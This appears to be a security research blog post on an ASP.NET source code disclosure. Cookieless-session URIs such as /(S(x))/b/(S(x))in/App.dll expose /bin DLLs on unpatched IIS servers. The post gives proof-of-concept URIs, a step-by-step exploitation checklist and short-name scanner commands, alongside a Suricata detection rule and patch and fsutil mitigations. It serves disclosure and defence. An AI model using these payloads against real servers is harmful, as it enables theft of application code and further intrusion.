Source Code Disclosure in ASP.NET apps

Author

Penetration Testing Expert

Recently, I came across an interesting ASP.NET application. It appeared to be secure, but it accidentally revealed its source code. Later, I found out that the used method is applicable to disclose code of many other .NET web applications.

Here are the details. If you just see an IIS or .NET app, this is for you.

Analyzing the App

During an external penetration test, I found a web application. It consisted of two pages on different ports:

Here is a Burp screenshot with relevant HTTP headers:

HTTP headers of the 8444/tcp application

It looked like my application was written in C# on the ASP.NET platform, was functioning under IIS, and was protected by a WAF based on nginx.

Knowing this was enough to bypass the 403 error:

The content of the “/login.aspx” page after bypassing the WAF (via a cookieless session)

After the bypass, I got nothing. There weren’t even any stylesheets present. I attempted to brute force every possible username and password, every possible path and parameter. All efforts were unsuccessful.

Another boring web application? Not today!

Cookieless Sessions in ASP.NET

When you enable the ASP.NET feature in IIS, any page of the server starts accepting cookieless sessions.

The ASP.NET cookieless sessions, along with PHP’s and Java’s analogs, have always been used for WAF bypass, as we did, session fixation, XSS, and all kinds of other attacks.

Here are different formats of these “cookieless sessions”:

.NET VersionURI
V1.0, V1.1/(XXXXXXXX)/
V2.0+/(S(XXXXXXXX))/
V2.0+/(A(XXXXXXXX)F(YYYYYYYY))/
V2.0+
Source: https://learn.microsoft.com/en-us/previous-versions/dotnet/articles/aa479315(v=msdn.10)

Furthermore, Soroush Dalili (a.k.a. @irsdl) recently discovered something new in this area: Cookieless DuoDrop: IIS Auth Bypass & App Pool Privesc in ASP.NET Framework (CVE-2023-36899 & CVE-2023-36560).

Namely, two security issues in .NET Framework were found and reported. Both were associated with the repetition of a cookieless pattern in the URI twice, potentially leading to a restriction bypass and privilege escalation.

Here are the POCs from Soroush Dalili’s article:

CVEPoC
CVE-2023-36899 /WebForm/(S(X))/prot/(S(X))ected/target1.aspx
/WebForm/(S(X))/b/(S(X))in/target2.aspx
CVE-2023-36560 /WebForm/pro/(S(X))tected/target1.aspx/(S(X))/
/WebForm/b/(S(X))in/target2.aspx/(S(X))/

Keep in mind these POCs. At that moment, I wasn’t able to imagine any way to apply these POCs for my one-page applications.

Discovering Source Code Disclosure

I was playing with my websites once every two or three days. It all came to nothing. Just two pages, no username, and no password.

However, one day, this happened:

In just one second, the DLL had appeared on my computer! It wasn’t corrupt, and there was a Remote Code Execution discovered inside!

Investigation

After obtaining the RCE, I was able to access the target’s web.config file. Then, I reduced it to the minimum possible configuration:

<?xml version="1.0" encoding="utf-8"?>
<configuration>
  <system.webServer>
    <modules runAllManagedModulesForAllRequests="true" />
  </system.webServer>
</configuration>

That was it. The runAllManagedModulesForAllRequests setting was the cause of our success.

Scaling the POC

It quickly became clear that the technique works on other servers. The setting runAllManagedModulesForAllRequests isn’t rare and I was able to download a few DLLs from different websites the same day.

The only thing I noticed is that it’s impossible to check the existence of the “/bin” directory:

http://Y.Y.Y.Y/ - 200
http://Y.Y.Y.Y/bin - 404
http://Y.Y.Y.Y/bin/ - 404
http://Y.Y.Y.Y/bin/Navigator.dll - 404
http://Y.Y.Y.Y/(S(x))/b/(S(x))in  - 404
http://Y.Y.Y.Y/(S(x))/b/(S(x))in/ - 404
http://Y.Y.Y.Y/(S(x))/b/(S(x))in/Navigator.dll - 200

However, by applying IIS-ShortName-Scanner, you can not only check the existence of the “/bin” directory, but also discover its content:

Executing java -jar ./iis_shortname_scanner.jar 20 8 'https://X.X.X.X/bin::$INDEX_ALLOCATION/'

Both IIS-ShortName-Scanner and the “::$INDEX_ALLOCATION” trick are attributed to Soroush Dalili.

Full Exploitation Algorithm

Here’s a brief guide on how to check the server on the vulnerability.

1. Check if cookieless sessions are allowed.

# If your application is in the main folder
/(S(X))/
/(Y(Z))/
/(G(AAA-BBB)D(CCC=DDD)E(0-1))/

# If your application is in a subfolder
/MyApp/(S(X))/
...

2. Optionally, use IIS-ShortName-Scanner. Note, its functionality doesn’t depend on whether cookieless sessions are enabled or not.

java -jar ./iis_shortname_scanner.jar 20 8 'https://X.X.X.X/bin::$INDEX_ALLOCATION/'
java -jar ./iis_shortname_scanner.jar 20 8 'https://X.X.X.X/MyApp/bin::$INDEX_ALLOCATION/'

In addition to “/bin”, I recommend you to check other special .NET folders:

/App_Code
/App_WebReferences
/App_GlobalResources
/App_LocalResources
/App_Data
/App_Themes
/App_Browsers
/Themes
/Views
/Models
/Controllers

3. Explore 404 page.

For /(S(x))/b/(S(x))in/App.dll it should write something like /bin/App.dll or none in the output. If it’s .../b/(S(x))in/... on 404, this means the patches are installed.

4. Try to read DLLs. It’s necessary to reconstruct complete filenames from shortened 8.3 format filenames.

http://Y.Y.Y.Y/(S(x))/b/(S(x))in/MyApplicationFile.dll
http://Y.Y.Y.Y/MyApp/(S(x))/b/(S(x))in/MyApplicationFile.dll

The PDB files, if such exists, will not be accessible.

Attack Detection

A big thank you to Kirill Shipulin of our blue team for preparing the Suricata rule:

alert http any any -> any any (msg: "ATTACK [PTsecurity] Cookieless string in ASP.NET"; flow: established, to_server; http.uri; content: "/("; fast_pattern; content: "))"; distance: 0; pcre: "/\/\([A-Z]\(.*?\)\)/"; classtype: attempted-admin; sid: 10009357; rev: 1;)

Conclusion & Mitigations

For security teams

Update your Microsoft IIS and .NET Framework to the latest versions. For Windows Server 2019 and .NET Framework 4.7, KB5034619 currently fixes the source disclosure.

For mitigating short name enumerations, run “fsutil behavior set disable8dot3 1” to disable 8.3 name creation. Next, reboot your system and run “fsutil 8dot3name strip /s /v [PATH-TO-WEB-DIRETORY]” to remove all existing 8.3 file names.

For pentesters and bughunters

I would recommend checking for obvious things and tricks, including ones that should not work.

As an example, on a different project, my friend was able to download DLL files from the “/bin” directory directly, even though I have never seen this technique succeed.

References

This article was based on the following materials:

Feel free to write your thoughts about the article on our X page. Follow @ptswarm or @_mohemiv so you don’t miss our future research and other publications.